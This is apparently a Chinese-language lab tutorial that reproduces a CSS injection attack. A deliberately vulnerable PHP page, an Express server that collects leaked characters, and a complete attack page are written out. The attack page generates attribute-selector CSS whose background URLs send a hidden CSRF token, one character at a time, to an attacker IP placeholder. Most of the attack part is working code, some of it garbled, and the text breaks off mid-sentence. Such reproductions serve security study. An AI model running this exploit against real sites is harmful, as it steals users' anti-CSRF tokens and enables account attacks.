CSS注入 1.0

什么是CSS注入?

CSS注入就是使用CSS的一些特性写成脚本在特定的工作条件下造成用户敏感信息泄露的一种安全漏洞,其触发条件苛刻但是还是彰显出了CSS独特的魅力。其最早被波兰的安全人员提出来。这里有本文的参考原始链接。(作者原文)
1.引发原因
从用户提供的URL中引入CSS文件即就是CSS代码中采用了用户的输入数据
2.原理:
CSS属性选择器让开发者可以根据属性标签的值匹配子字符串来选择元素。 这些属性值选择器可以做以下操作:

1.如果字符串以子字符串开头,则匹配;
2.如果字符串以子字符串结尾,则匹配;
3.如果字符串在任何地方包含子字符串,则匹配;
4.属性选择器能让开发人员查询单个属性的页面HTML标记,并且匹配它们的值;

而在实际环境中,一些敏感信息会被存放在HTML标签内,如CSRF攻击需要用到的token存储在隐藏表单的属性值中,这使得我们可以将CSS选择器与表单中的属性进行匹配,并根据表单是否与起始字符串匹配,加载一个外部资源,例如背景图片,来尝试猜测属性的起始字母。通过这种方式,攻击者可以进行逐字猜解并最终获取到完整的敏感数值。

复现示例

1.本地搭建apache服务,运行被攻击页面

使用软件:phpstuday


$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<!doctype html><meta charset=utf-8>
<input type=hidden value=<?=$token1 ?>>
<script>
var TOKEN = "$token2 ?>";
</script>

<style>
<?=preg_replace('#, '#', $_GET['css']) ?>

</style>

测试访问,可以在开发者视图中看到token
CSS注入 1.0_第1张图片
注:这里为了让虚拟机可以访问此页面需要在小皮上再绑定一个虚拟机网段的本机IP地址
CSS注入 1.0_第2张图片
CSS注入 1.0_第3张图片

2.配置攻击服务器

这里使用centos7来安装nodejs

2.1 配置nodejs到系统内并安装依赖

安装教程:centos7安装nodejs
创建脚本package.json运行配置相关组件

{
"name": "css-attack-1",
"version": "1.0.0",
"description": "",
"main": "index.js",
"dependencies": {
"express": "^4.15.5",
"js-cookie": "^2.1.4"
},
"devDependencies": {},
"author": "",
"license": "ISC"
}

CSS注入 1.0_第4张图片
下载依赖

#当前写入文件的目录下运行此命令
[root@blackstone cssinject]# npm install

CSS注入 1.0_第5张图片

2.2 配置JS实现服务端基本功能

服务器部分只需响应三个 http 查询:
/index.html – 将提供来自同一目录的索引.html文件,
/cookie.js – 将提供一个 js-cookie 库文件,它允许你使用JS对 cookie 进行方便的操作,
/token/:token – 在此地址,将接受带有后续令牌字符的返回连接。作为响应,将设置一个“令牌”cookie,其值与转发到服务器的值相同。
让我们创建一个 index.js 文件来执行所有这些功能:

const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');

const PORT = 3000;

// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
const { token } = req.params;

// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
// token i tej samej wartości, która została przekazana w URL-u
res.cookie('token', token);
res.send('');

});

app.get('/cookie.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});

app.get('/index.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});

app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})

运行测试

[root@blackstone cssinject]# node index.js
Listening on 3000...

记得关闭防火墙
CSS注入 1.0_第6张图片

2.3 配置攻击页面

doctype html><meta charset=utf-8>
<script src="./cookie.js">script>
<big id=token>big><br>
<iframe id=iframe>iframe>
<script>
(async function() {
const EXPECTED_TOKEN_LENGTH = 32;
const ALPHABET = Array.from("0123456789abcdef");
const iframe = document.getElementById('iframe');
let extractedToken = '';

while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
clearTokenCookie();
createIframeWithCss();
extractedToken = await getTokenFromCookie();

document.getElementById('token').textContent = extractedToken;
}

function getTokenFromCookie() {
return new Promise(resolve => {
const interval = setInterval(function() {
const token = Cookies.get('token');
if (token) {
clearInterval(interval);
resolve(token);
}
}, 50);
});
}

function clearTokenCookie() {
Cookies.remove('token');
}

function generateCSS() {
let css = '';
for (let char of ALPHABET) {
css += `input[value^="${extractedToken}${char}"] {
background: url(http://攻击者IP:3000/token/${extractedToken}${char})
}`;
}

return css;
}

function createIframeWithCss() {
iframe.src = 'http://受攻击者存在注入点的路径/?css=' + encodeURIComponent(generateCSS());
}

})();
script>

注:此页面和刚才的脚本放到同一个目录下

3.测试攻击效果

将2.3的配置页面本地化了之后,启动node服务,尝试本地访问恶意页面:
CSS注入 1.0_第7张图片
看到报错:这里有个samesite的报错,并不是此问题的根本原因,各位有兴趣的可以了解一下
samesite属性。
真实原因:
我们的token值所在的input标签是hidden状态,这会导致在恶意脚本中的选择器无法选中此元素进行背景设置(进行遍历)

解决方案:
使用兄弟选择器强行选中带有tocken的标签进行注入。这就表示这个页面必须有其余的input标签,当然在正常的网页设计中,仅仅设计一个隐藏的input标签是很少见的。通常都是多个input标签同时写入。

4.改进方案

(1)修改被攻击页面,添加进入另一个input标签


$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<!doctype html><meta charset=utf-8>
<input type=hidden value=<?=$token1 ?>>
<input type="" name="">
<script>
var TOKEN = "$token2 ?>";
</script>

<style>
<?=preg_replace('#, '#', $_GET['css']) ?>

</style>

(2)修改恶意页面的选择器为兄弟选择器

CSS注入 1.0_第8张图片

(3)再次测试

[root@blackstone cssinject]# node index.js

CSS注入 1.0_第9张图片
可以看到,页面中的tocken已经被存储到本地的cookie之中了。到这里复现就成功了。

总结

1.触发条件

(1)目标服务器中有注入点,即提交的信息会被作为